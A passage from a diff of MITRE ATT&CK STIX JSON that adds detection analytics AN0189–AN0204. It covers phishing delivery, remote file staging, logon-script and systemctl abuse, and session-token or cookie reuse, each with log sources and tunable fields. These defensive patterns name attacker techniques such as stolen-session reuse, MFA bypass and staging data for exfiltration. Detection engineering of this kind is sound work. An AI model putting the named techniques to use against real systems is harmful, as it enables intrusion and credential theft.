"description": "Unusual inbound email activity where attachments or embedded URLs are delivered to users followed by execution of new processes or suspicious document behavior. Detection involves correlating email metadata, file creation, and network activity after a phishing message is received.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousFileTypes", + "description": "Attachment types considered high risk (e.g., .exe, .js, .vbs, .scr, macro-enabled docs)." + }, + { + "field": "AllowedSenders", + "description": "Whitelist of known trusted senders to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c5fe5b29-c56f-4c40-b880-051ec6644600", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0070#AN0189", + "external_id": "AN0189" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0189", + "description": "Monitor for malicious payload delivery through phishing where attachments or URLs in email clients (e.g., Thunderbird, mutt) result in unusual file creation or outbound network connections. Focus on correlation between mail logs, file writes, and execution activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application:Mail", + "channel": "Inbound messages with anomalous headers, spoofed SPF/DKIM failures" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredMailPaths", + "description": "System or user directories where emails/attachments are stored." + }, + { + "field": "AttachmentHashBaseline", + "description": "Known good hashes for common business document templates." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2a0cc1a9-db3b-4f05-8c85-29d69507418b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0070#AN0190", + "external_id": "AN0190" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0190", + "description": "Detection of phishing through anomalous Mail app activity, such as attachments saved to disk and immediately executed, or Safari/Preview launching URLs and files linked from email messages. Correlate UnifiedLogs events with subsequent process execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Inbound email activity with suspicious domains or mismatched sender information" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousDomains", + "description": "List of domains known for phishing activity or suspicious sender infrastructure." + }, + { + "field": "ExecutionDelayWindow", + "description": "Time threshold between file save and execution considered suspicious." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--46ecb875-0842-4171-bb36-9b361453a89f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0070#AN0191", + "external_id": "AN0191" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0191", + "description": "Phishing via Office documents containing embedded macros or links that spawn processes. Detection relies on correlating Office application logs with suspicious child process execution and outbound network connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "FileAccessed: Access of email attachments by Office applications" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessList", + "description": "Parent processes expected to execute child processes (e.g., Office apps)." + }, + { + "field": "MacroExecutionThreshold", + "description": "Threshold for number of macros executed before raising alerts." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--09df0b88-e1ae-4a1e-86c4-8bb00e79baed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0070#AN0192", + "external_id": "AN0192" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0192", + "description": "Phishing attempts targeting IdPs often manifest as anomalous login attempts from suspicious email invitations or fake SSO prompts. Detection correlates login flows, MFA bypass attempts, and anomalous geographic patterns following phishing email delivery.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "azure:signinlogs", + "channel": "Failed MFA attempts, unusual conditional access triggers, login attempts from unexpected IP ranges" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GeoAnomalyThreshold", + "description": "Allowed distance/time delta between user sign-ins." + }, + { + "field": "MFABypassIndicators", + "description": "Signals of repeated or anomalous MFA failures linked to phishing campaigns." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4da63d13-d9bb-41c6-88c8-31bc9f2579fb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0070#AN0193", + "external_id": "AN0193" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0193", + "description": "Phishing delivered via SaaS services (chat, collaboration platforms) where messages contain malicious URLs or attachments. Detect anomalous link clicks, suspicious file uploads, or token misuse after SaaS-based phishing attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:collaboration", + "channel": "MessagePosted: Suspicious links or attachment delivery via collaboration tools (Slack, Teams, Zoom)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredSaaSApps", + "description": "Scope of SaaS platforms under phishing monitoring." + }, + { + "field": "LinkInspectionPolicy", + "description": "Threshold for auto-expansion and detonation of URLs sent in SaaS messages." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7efd6a7b-d7c0-4922-a1df-c492c0a2d3f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0071#AN0194", + "external_id": "AN0194" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0194", + "description": "Detects file transfers or mounting operations from remote hosts followed by write actions into a local staging directory, often using SMB or remote shell activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "WinEventLog:Microsoft-Windows-SMBClient/Security", + "channel": "EventID=31001" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "CommandLine=copy-item or robocopy from UNC path" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "StagingDirectory", + "description": "Common directories such as C:\\Temp, Downloads, or hidden folders used for remote staging" + }, + { + "field": "RemotePathPatterns", + "description": "UNC paths like \\\\10.* or \\\\domain\\share indicating lateral data staging" + }, + { + "field": "CopyToolPatterns", + "description": "Usage of robocopy, xcopy, copy-item, or scheduled tasks performing cross-host copies" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--14ac0f26-e5db-42da-b730-9e115027f8e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0071#AN0195", + "external_id": "AN0195" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0195", + "description": "Detects inbound SCP, rsync, or NFS mounts from remote systems followed by aggregation of files into known staging paths like /mnt/staging or /var/tmp.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "SSH logins or scp activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RemoteHosts", + "description": "Expected inbound transfer hosts to filter normal activity from staging behavior" + }, + { + "field": "MountTargets", + "description": "Directory destinations used as centralized locations" + }, + { + "field": "TransferVolumeThreshold", + "description": "Threshold of transferred files or data volume over time" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2891bd53-5a81-4330-bb05-ffd731868d06", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0071#AN0196", + "external_id": "AN0196" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0196", + "description": "Detects rsync or scp inbound from other hosts that then aggregate content into /Users/Shared or /private/tmp, often involving compressed files or scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "file events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "remote login and transfer" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "StagingPaths", + "description": "Monitored remote-to-local write destinations such as /Users/Shared" + }, + { + "field": "CompressionIndicators", + "description": "Presence of .zip, .7z, or tar.gz indicating consolidation" + }, + { + "field": "TimeWindow", + "description": "Temporal correlation of transfer and staging write operations" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0e2094fe-6912-4bde-9e5a-9d95c640646a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0071#AN0197", + "external_id": "AN0197" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0197", + "description": "Detects remote writes or snapshots mounted from other systems into a central ESXi VMFS path or NFS store used for remote staging of files before exfiltration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "esxi:vmkernel", + "channel": "VMFS file creation" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "esxi:vob", + "channel": "NFS/remote access logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "invoked remote scripts (esxcli)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SnapshotFrequency", + "description": "How often snapshots are mounted or restored from peer nodes" + }, + { + "field": "RemoteWriteVolume", + "description": "Threshold for staging behavior vs. backup/operational activity" + }, + { + "field": "StorageMountPaths", + "description": "Common local destinations for incoming data" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--696b98e8-10fd-4c7a-bb80-302baca34e60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0071#AN0198", + "external_id": "AN0198" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0198", + "description": "Detects remote write activity across cloud VMs or object storage buckets within the same region/account that correlate with data aggregation across hosts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "name": "AWS:CloudTrail", + "channel": "PutObject, CopyObject" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "AWS:VPCFlowLogs", + "channel": "Traffic between instances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:hostd", + "channel": "process execution across cloud VM" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BucketNamePatterns", + "description": "Destination naming convention used for staging (e.g., temp-store)" + }, + { + "field": "IAMContext", + "description": "IAM role or user performing multi-host write ops" + }, + { + "field": "TransferWindow", + "description": "Burst of high-volume inter-VM transfers indicating staging" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6dae9309-90a7-4b4e-b764-9486a7ba4390", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0072#AN0199", + "external_id": "AN0199" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0199", + "description": "Detects adversary use of logon script configuration via Group Policy or user object attributes, followed by script execution post-authentication. Behavior includes modification of script path or file, then process execution under user logon context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4670, 4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "WinEventLog:System", + "channel": "EventCode=1502, 1503" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "WinEventLog:DirectoryService", + "channel": "EventID 5136" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "script_path_keywords", + "description": "Defenders may tune for known script locations such as NETLOGON, SYSVOL, or \\domain\\sysvol\\*.bat/.ps1" + }, + { + "field": "execution_time_window", + "description": "May be scoped to user logon hours or first X minutes post-authentication" + }, + { + "field": "user_context", + "description": "Organizations may focus on specific users/groups with high privilege or remote access" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--756d5795-ef61-4115-80d2-f2e7440dff56", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0073#AN0200", + "external_id": "AN0200" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0200", + "description": "Abuse of systemctl to execute commands or manage systemd services. Defender perspective: correlate suspicious service creation or modification with execution of systemctl subcommands such as start, enable, or status. Detect cases where systemctl is used to load services from unusual locations (e.g., /tmp, /dev/shm) or where new service units are created outside of expected administrative workflows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "execution of systemctl with subcommands start, stop, enable, disable" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open/write of .service unit files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "systemctl spawning managed processes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "auditd:CONFIG_CHANGE", + "channel": "creation or modification of systemd services" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredPaths", + "description": "Paths to monitor for service unit files, typically /etc/systemd/system and /usr/lib/systemd/system. Adversaries may use uncommon locations such as /tmp." + }, + { + "field": "SuspiciousSubcommands", + "description": "Focus on systemctl subcommands start, enable, or daemon-reload when used outside expected change windows." + }, + { + "field": "CorrelationWindow", + "description": "Time window to correlate service file modification with subsequent systemctl execution." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8d43ac43-de80-4815-b992-6f49519ed340", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0074#AN0201", + "external_id": "AN0201" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0201", + "description": "Anomalous access to cloud web applications using session tokens without corresponding MFA/credential validation, often from unusual locations or device fingerprints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "AWS:CloudTrail", + "channel": "SessionToken used without preceding MFA or login event" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "How far back to check for legitimate MFA or login events before token usage" + }, + { + "field": "IPGeolocationDistance", + "description": "Threshold for flagging geographically impossible logins" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--32ace35c-66c4-48d7-a8bc-d81c65f4451b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0074#AN0202", + "external_id": "AN0202" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0202", + "description": "Session cookie reuse on unmanaged browsers, devices, or client types deviating from user baseline (e.g., switching from Chrome to curl).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "m365:unified", + "channel": "SessionId reused from different device/browser fingerprint" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "saas:okta", + "channel": "session.impersonation.start" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BrowserFingerprintMatch", + "description": "Tolerance for accepting small differences in user-agent headers" + }, + { + "field": "SessionReuseTimeout", + "description": "Time gap threshold between valid session creation and reuse" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--126cff4b-4ba7-4464-bfc8-4daabed5e05b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0074#AN0203", + "external_id": "AN0203" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0203", + "description": "Web session tokens reused in native Office apps (e.g., Outlook, Teams) without associated token refresh or login behavior on the endpoint.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "m365:unified", + "channel": "UserLoggedIn" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EndpointTokenSyncGap", + "description": "Allowed delta between endpoint login and cloud token reuse" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ca56c2df-0338-4325-964a-0f775d986277", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0075#AN0204", + "external_id": "AN0204" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0204", + "description": "Anomalous process (e.g., `rundll32`, `svchost`, `cmd`) initiates connections to internal peer hosts not seen in typical communication baselines, used to proxy or forward traffic internally, often using SMB, RPC, or high ports.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": 